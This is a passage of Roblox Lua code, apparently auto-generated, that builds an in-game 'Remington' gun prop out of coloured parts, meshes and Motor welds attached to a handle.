Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.222222224, 0.333333343, 0.388888896),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -2.65152653e-006, 0.000345299661, -4.63098331e-007, 0.999958932, 0.0090197213, -0.000345309469, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.329299927, -3.13613892, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.48888889),CFrame = CFrame.new(198.990005, 33.9120026, 237.591995, -0.999999046, 2.76114008e-007, -5.40486624e-008, 9.87390081e-009, 0.226423576, 0.974026561, 2.8118032e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.785555542, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 9.87389903e-009, 2.81181059e-007, 2.76114235e-007, 0.226424068, 0.974028468, -5.4048698e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.0760993958, 0.343338013, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.8310013, 237.759995, -0.999999046, 3.8339823e-007, -7.39931565e-008, 1.47390526e-008, 0.226423383, 0.97402668, 3.90194117e-007, 0.974025846, -0.22642298),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.333333343, 0.166666672),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 1.47391024e-008, 3.90195169e-007, 3.83398572e-007, 0.226423874, 0.974028587, -7.39932062e-008, 0.974028707, -0.226423576),C1 = CFrame.new(0.00399780273, -0.155582428, 0.174621582, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.8689957, 237.940002, -1.19209226e-007, -3.218649e-006, 0.999999106, -0.999956608, 0.00902000349, 9.09645834e-008, -0.00901974086, -0.999955833, -3.41501391e-006),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.833333373, 0.388888896),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1.19209304e-007, -0.999958694, -0.00901979674, -3.21865105e-006, 0.00901999138, -0.999958634, 0.999999821, 9.096469e-008, -3.41502323e-006),C1 = CFrame.new(0, -0.115962982, -0.00505065918, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.300000012),CFrame = CFrame.new(198.990005, 33.6520004, 237.668991, -0.999999046, 8.14069807e-008, -1.03373257e-008, 8.36369285e-009, 0.226423576, 0.974026561, 8.16332886e-008, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.055555556, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 8.3636742e-009, 8.16334804e-008, 8.14070873e-008, 0.226424068, 0.974028468, -1.03373159e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.335395813, 0.26399231, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8850021, 240.877991, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.222222224, 0.722222269, 0.888888896),})
mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(0.00100708008, -0.0734596252, -2.94277954, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.7320023, 237.742996, -0.999999285, 6.83567976e-008, 7.74749935e-008, 6.59480293e-008, -0.154940739, 0.987921298, 7.95351909e-008, 0.987920582, 0.15494056),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 0.222222224),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 6.59481856e-008, 7.95353827e-008, 6.83568544e-008, -0.154941022, 0.987923324, 7.74750717e-008, 0.987923324, 0.154941022),C1 = CFrame.new(0.00399780273, -0.254730225, 0.190719604, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2099991, 240.874985, 4.76836874e-007, -2.98023721e-008, -0.999999285, -0.999956846, -0.00901970267, -4.45666046e-007, -0.00901957601, 0.999956131, 3.49432128e-008),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.666666687, 0.5, 0.666666687),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 4.76837215e-007, -0.999958932, -0.00901963189, -2.98023721e-008, -0.0090196915, 0.999958932, -1, -4.45666984e-007, 3.49432732e-008),C1 = CFrame.new(0, 0.251499176, -2.93684387, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8570023, 241.006989, -0.999999285, -1.07331651e-007, -3.22922745e-007, -1.05247814e-007, 0.999976873, -0.00644559413, 3.23607196e-007, -0.00644565001, -0.999976158),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.277777761, 0.333333343, 0.277777761),})
mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, -1.05248041e-007, 3.23608106e-007, -1.07331715e-007, 0.99997896, -0.00644563884, -3.22922972e-007, -0.00644563884, -0.99997896),C1 = CFrame.new(0.00100708008, -0.100292206, -3.07202148, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.304347813),CFrame = CFrame.new(198.988007, 33.6610031, 236.895996, -0.999999285, 9.59232693e-014, 1.13686838e-013, 5.27355937e-016, 0.722307146, -0.691570163, -9.59232693e-014, -0.691569686, -0.722306609),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 0.565217137, 1),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 8.48033395e-014, 0.722308695, -0.691571593, 8.85725073e-014, -0.691571593, -0.722308695),C1 = CFrame.new(0.0059967041, -0.333366394, 1.03704834, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.988007, 33.7679977, 237.063019, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 0.565217137, 0.869565129),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.224868774, 0.871002197, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.217391297),CFrame = CFrame.new(198.988007, 33.5149956, 236.602005, 0.999999285, -5.41788836e-014, 1.38555833e-013, -5.27355937e-016, -0.983430386, -0.181274071, 9.59232693e-014, 0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Stock,"Mesh",{Scale = Vector3.new(0.521739066, 0.652173817, 1),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -2.22285857e-014, -0.983432472, 0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.482017517, 1.32971191, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.243478239, 0.486956477, 0.200000003),CFrame = CFrame.new(198.988007, 33.6849976, 236.393021, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(1, 1, 0.652173877),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.313907623, 1.54022217, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.313043416, 0.217391297),CFrame = CFrame.new(198.988007, 33.7330017, 236.561005, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 1, 1),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.264392853, 1.37268066, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.243478239, 0.200000003, 0.243478239),CFrame = CFrame.new(198.988007, 33.4449997, 236.438004, 0.999999285, 1.38555833e-013, 5.41788836e-014, -5.27355937e-016, -0.181274071, 0.983430386, 9.59232693e-014, -0.98342967, -0.181273997),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Stock,"Mesh",{Scale = Vector3.new(1, 0.652173877, 1),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, 1.20592555e-013, -0.181274489, -0.983432472, 2.22285857e-014, 0.983432472, -0.181274489),C1 = CFrame.new(0.0059967041, -0.553489685, 1.49307251, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.408695608),CFrame = CFrame.new(198.988007, 33.552002, 236.628006, -0.999999285, 7.46069873e-014, 1.13686838e-013, 5.27355937e-016, 0.677980304, -0.73507756, -9.59232693e-014, -0.735077083, -0.677979767),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.5, 0.304347843, 1),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 9.0138407e-014, 0.677981615, -0.73507911, 8.31369343e-014, -0.73507911, -0.677981615),C1 = CFrame.new(0.0059967041, -0.444778442, 1.30404663, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.304347813),CFrame = CFrame.new(198.988007, 33.7040024, 236.832001, 0.999999285, -5.41788836e-014, 1.38555833e-013, -5.27355937e-016, -0.983430386, -0.181274071, 9.59232693e-014, 0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Stock,"Mesh",{Scale = Vector3.new(0.521739066, 0.782608747, 1),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -2.22285857e-014, -0.983432472, 0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.29094696, 1.10142517, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.443478078),CFrame = CFrame.new(198.988007, 33.6809998, 236.822021, -0.999999285, 8.17124146e-014, 1.10134124e-013, 5.27355937e-016, 0.791647375, -0.610974848, -9.59232693e-014, -0.610974431, -0.791646838),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.5, 0.130434766, 1),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 7.49203759e-014, 0.791648984, -0.6109761, 9.70753019e-014, -0.6109761, -0.791648984),C1 = CFrame.new(0.0059967041, -0.314037323, 1.11120605, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Barrel = New("Part",Remington_Model,"Barrel",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 2.38888884, 0.200000003),CFrame = CFrame.new(198.994003, 34.2180023, 239.997009, -2.83248072e-015, -6.03961325e-014, -0.999999285, -0.999956846, -0.00901970267, -5.55111512e-016, -0.00901960582, 0.999956131, 2.48689958e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("CylinderMesh",Barrel,"Mesh",{Scale = Vector3.new(0.611111104, 1, 0.611111104),})
mot = New("Motor",Barrel,"mot",{Part0 = Barrel,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.4408921e-016, -0.999958932, -0.00901966169, -3.6918385e-014, -0.0090196915, 0.999958932, -1, -5.69026866e-015, -4.39813642e-015),C1 = CFrame.new(0, 0.251583099, -2.05882263, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(199.050003, 34.2200012, 238.524979, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.277777761, 0.611111104, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(-0.0559997559, 0.24030304, -0.586837769, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.211111113),CFrame = CFrame.new(198.990005, 34.0890007, 237.733002, 0.999999285, 2.76113923e-007, 5.40487619e-008, -9.87398696e-009, 0.226424217, -0.974026322, -2.81180235e-007, 0.974025607, 0.226424113),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 1, 1),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -9.8739914e-009, -2.81181002e-007, 2.76114122e-007, 0.226424724, 0.974028349, 5.40488116e-008, -0.974028349, 0.226424724),C1 = CFrame.new(0.00399780273, 0.102165222, 0.203933716, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 34.0079994, 237.462006, -0.999999046, -2.7611398e-007, -3.33740253e-008, 9.50260031e-008, -0.226423293, -0.974026442, 2.61385878e-007, -0.974025846, 0.226423472),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 0.777777791),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 9.50261807e-008, 2.61386589e-007, -2.76114235e-007, -0.226423785, -0.974028587, -3.33740395e-008, -0.974028468, 0.226424068),C1 = CFrame.new(0.00399780273, 0.0187225342, 0.474182129, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
S1 = New("Part",Remington_Model,"S1",{BrickColor = BrickColor.new("Black"),Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(198.994003, 34.0440025, 238.544983, 1.19209211e-007, -5.96045595e-008, -0.999999225, 0.996937811, -0.0781664699, 1.78266475e-007, -0.0781665444, -0.996937275, -1.39772816e-008),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",S1,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
mot = New("Motor",S1,"mot",{Part0 = S1,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.19209304e-007, 0.996939898, -0.0781667307, -5.9604627e-008, -0.0781666711, -0.996940076, -0.99999994, 1.78266845e-007, -1.39773428e-008),C1 = CFrame.new(0, 0.064491272, -0.608428955, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.279999971, 0.470000088),CFrame = CFrame.new(198.994003, 34.1240005, 237.701004, 0.999999285, -5.37212514e-008, 6.26022313e-007, -6.67735307e-008, 0.981607676, 0.190898314, -6.24763345e-007, -0.190898225, 0.98160696),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833000004, 0.899999976, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -6.67736089e-008, -6.2476505e-007, -5.37213083e-008, 0.981609702, -0.190898731, 6.26022768e-007, 0.190898731, 0.981609702),C1 = CFrame.new(0, 0.136875153, 0.236251831, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flash = New("Part",Remington_Model,"Flash",{BrickColor = BrickColor.new("Bright orange"),Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.233333334, 0.200000003),CFrame = CFrame.new(198.994003, 34.2019997, 241.703979, 0.999999285, 3.80976317e-009, 4.35450787e-008, -4.35775291e-008, 0.00901961327, 0.999956846, 3.41675843e-009, -0.999956131, 0.00901954621),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.854902, 0.521569, 0.254902),})
Mesh = New("SpecialMesh",Flash,"Mesh",{Scale = Vector3.new(1.83333337, 3, 1.83333337),MeshType = Enum.MeshType.Sphere,})
mot = New("Motor",Flash,"mot",{Part0 = Flash,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776428e-008, 3.41679263e-009, 3.80974008e-009, 0.00901960209, -0.999958932, 4.35450609e-008, 0.999958932, 0.00901960209),C1 = CFrame.new(0, 0.250976563, -3.76586914, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Really black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(198.955002, 34.2200012, 238.524979, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.611111104, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0.0390014648, 0.24030304, -0.586837769, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.333333343, 0.200000003),CFrame = CFrame.new(198.994003, 34.1469955, 238.763, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 1, 0.388888896),})
